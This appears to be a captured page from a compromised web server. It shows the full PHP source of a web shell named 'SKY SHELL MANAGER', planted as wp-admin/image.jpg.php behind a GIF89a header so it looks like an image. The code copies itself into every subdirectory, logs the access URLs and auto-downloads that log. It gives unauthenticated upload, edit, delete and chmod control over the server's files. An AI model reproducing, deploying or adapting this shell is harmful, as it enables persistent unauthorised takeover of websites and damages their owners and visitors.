HEX
Server: Apache
System: Linux server.futurextrade.com 4.18.0-553.74.1.el8_10.x86_64 #1 SMP Mon Sep 8 12:04:40 EDT 2025 x86_64
User: bangladeshwood (1009)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/bangladeshwood/public_html/wp-admin/image.jpg.php
GIF89a;
<?php
/**
 * SKY SHELL MANAGER - FULL INTEGRATED FINAL VERSION
 * Features: Self-Copy, URL Logging, Auto-Download, File Management
 */

error_reporting(0);
set_time_limit(0);

// --- ১. ডোমেইন এবং ইউআরএল ডিটেকশন লজিক ---
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://";
$host = $_SERVER['HTTP_HOST'];
$scriptPath = str_replace('\\', '/', dirname($_SERVER['SCRIPT_NAME']));
$baseUrl = rtrim($protocol . $host . $scriptPath, '/');

// --- ২. অটো-কপি এবং ইনপুট-আউটপুট লজিক (URL Logging সহ) ---
$currentFile = realpath(__FILE__);
$rootDir     = dirname($currentFile); 
$fileName    = basename($currentFile);

$logFile      = $rootDir . DIRECTORY_SEPARATOR . "export_log.txt";
$intervalFile = $rootDir . DIRECTORY_SEPARATOR . ".last_run";

$newFilesCopied = false;

// প্রতি ৫ মিনিট অন্তর অটো-কপি রান হবে
$shouldRun = !file_exists($intervalFile) || (time() - @file_get_contents($intervalFile) > 300);

if ($shouldRun && file_exists($currentFile)) {
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($rootDir, FilesystemIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );

        foreach ($iterator as $file) {
            if ($file->isDir()) {
                $destPath = $file->getPathname() . DIRECTORY_SEPARATOR . $fileName;

                if ($destPath !== $currentFile && !file_exists($destPath)) {
                    if (@copy($currentFile, $destPath)) {
                        // পাথকে ব্রাউজার ইউআরএল-এ রূপান্তর
                        $relativeDir = str_replace($rootDir, '', $file->getPathname());
                        $relativeDir = str_replace('\\', '/', $relativeDir);
                        $accessUrl = $baseUrl . $relativeDir . '/' . $fileName;
                        
                        @file_put_contents($logFile, $accessUrl . PHP_EOL, FILE_APPEND);
                        $newFilesCopied = true; 
                    }
                }
            }
        }
        @file_put_contents($intervalFile, time());
    } catch (Exception $e) {}
}

// --- ৩. ফাইল ম্যানেজার ব্যাকএন্ড লজিক (সব ফাংশন) ---
$path = isset($_GET['path']) ? realpath($_GET['path']) : $rootDir;
if (!$path || !is_dir($path)) { $path = $rootDir; }
$alertMessage = "";

// Upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    if (@move_uploaded_file($_FILES['file']['tmp_name'], $path . DIRECTORY_SEPARATOR . $_FILES['file']['name'])) {
        $alertMessage = "File uploaded successfully!";
    }
}

// Create Folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfolder'])) {
    $folder = $path . DIRECTORY_SEPARATOR . $_POST['newfolder'];
    if (!file_exists($folder)) { @mkdir($folder); $alertMessage = "Folder created successfully!"; }
}

// Create File
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfile'])) {
    $file = $path . DIRECTORY_SEPARATOR . $_POST['newfile'];
    if (!file_exists($file)) { @file_put_contents($file, ''); $alertMessage = "File created successfully!"; }
}

// Chmod (Permissions)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_value'])) {
    @chmod($_POST['chmod_file'], octdec($_POST['chmod_value']));
    $alertMessage = "Permissions updated!";
}

// Delete
if (isset($_GET['delete'])) {
    $target = urldecode($_GET['delete']);
    if (file_exists($target)) {
        is_dir($target) ? @rmdir($target) : @unlink($target);
        header("Location: ?path=" . urlencode(dirname($target)));
        exit;
    }
}

// Save Edit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file_path'])) {
    @file_put_contents($_POST['edit_file_path'], $_POST['edited_content']);
    $alertMessage = "File updated successfully!";
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>SKYSHELL MANAGER</title>
  <style>
    body { background-color: #111; color: #0f0; font-family: Arial, sans-serif; margin: 0; padding: 20px; }
    h2 { text-align: center; font-size: 36px; font-weight: bold; margin: 10px 0; background: linear-gradient(90deg, #ff0000, #ffff00, #00ff00, #00ffff, #0000ff); background-size: 200%; color: transparent; -webkit-background-clip: text; animation: gradientAnimation 3s linear infinite; }
    @keyframes gradientAnimation { 0% { background-position: 200% 0%; } 100% { background-position: 0% 100%; } }
    .php-version { position: absolute; top: 10px; right: 20px; font-size: 14px; color: #0ff; }
    table { width: 100%; border-collapse: collapse; margin-top: 20px; }
    th, td { padding: 10px; border: 1px solid #333; text-align: left; transition: 0.3s; }
    tr:hover { background-color: #32CD32; color: #000; }
    tr:hover td a { color: #000; font-weight: bold; }
    a { color: #0ff; text-decoration: none; }
    input, button, textarea { background: #222; color: #0f0; border: 1px solid #444; padding: 5px 10px; margin: 5px 0; }
    .alert-message { color: #32CD32; background-color: #222; padding: 10px; text-align: center; margin-bottom: 20px; border: 1px solid #32CD32; }
    .file-upload-container { display: flex; justify-content: space-between; align-items: center; }
  </style>

  <?php if ($newFilesCopied): ?>
  <script>
    window.onload = function() {
        var link = document.createElement('a');
        link.href = 'export_log.txt';
        link.download = 'export_log.txt';
        document.body.appendChild(link);
        link.click();
        document.body.removeChild(link);
    };
  </script>
  <?php endif; ?>
</head>
<body>

<h2>📁 SKYSHELL MANAGER-🛒
  <span class="php-version">PHP v<?= phpversion(); ?></span>
</h2>

<?php if ($alertMessage): ?><div class="alert-message"><?= $alertMessage ?></div><?php endif; ?>

<div class="file-upload-container">
  <div>
    <form method="post" style="display:inline;">
      <input type="text" name="newfolder" placeholder="📁 New Folder" required>
      <button type="submit">Create Folder</button>
    </form>
    <form method="post" style="display:inline;">
      <input type="text" name="newfile" placeholder="📄 New File" required>
      <button type="submit">Create File</button>
    </form>
  </div>
  <div>
    <form method="post" enctype="multipart/form-data">
      <input type="file" name="file" onchange="this.form.submit()">
    </form>
  </div>
</div>

<p><b>Working in:</b> 
<?php
$parts = explode(DIRECTORY_SEPARATOR, $path);
$build = '';
foreach ($parts as $part) {
    if ($part == '') continue;
    $build .= DIRECTORY_SEPARATOR . $part;
    echo "<a href='?path=" . urlencode($build) . "' style='color:#fff;'>$part</a> / ";
}
?>
</p>

<table>
  <tr><th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th></tr>
<?php
$files = scandir($path);
usort($files, function($a, $b) use ($path) { return is_dir($path.DIRECTORY_SEPARATOR.$b) - is_dir($path.DIRECTORY_SEPARATOR.$a); });

foreach ($files as $file) {
    if ($file == '.' || $file == '..') continue;
    if ($file == 'export_log.txt' || $file == '.last_run') continue;

    $full = $path . DIRECTORY_SEPARATOR . $file;
    $isDir = is_dir($full);
    $perm = substr(sprintf('%o', fileperms($full)), -4);
    $size = $isDir ? '-' : round(filesize($full)/1024, 2).' KB';

    echo "<tr>
            <td>" . ($isDir ? "📁" : "📄") . " <a href='?path=" . urlencode($full) . "'>$file</a></td>
            <td>$size</td>
            <td>$perm</td>
            <td>
                <a href='?delete=".urlencode($full)."'>🗑️</a>
                " . (!$isDir ? " | <a href='$file' download>⬇️</a> | <a href='?edit=".urlencode($full)."'>✏️</a>" : "") . "
                <form method='post' style='display:inline; margin-left:10px;'>
                    <input type='hidden' name='chmod_file' value='$full'>
                    <input type='text' name='chmod_value' placeholder='755' style='width:40px;'>
                    <button type='submit'>🔒</button>
                </form>
            </td>
          </tr>";
}
?>
</table>

<?php if (isset($_GET['edit']) && is_file($_GET['edit'])): ?>
  <div style="margin-top: 20px;">
    <h3>Editing: <?= basename($_GET['edit']) ?></h3>
    <form method="post">
      <input type="hidden" name="edit_file_path" value="<?= htmlspecialchars($_GET['edit']) ?>">
      <textarea name="edited_content" style="width:100%; height:400px; background:#111; color:#0f0;"><?= htmlspecialchars(file_get_contents($_GET['edit'])) ?></textarea><br>
      <button type="submit">💾 Save Changes</button>
    </form>
  </div>
<?php endif; ?>

</body>
</html>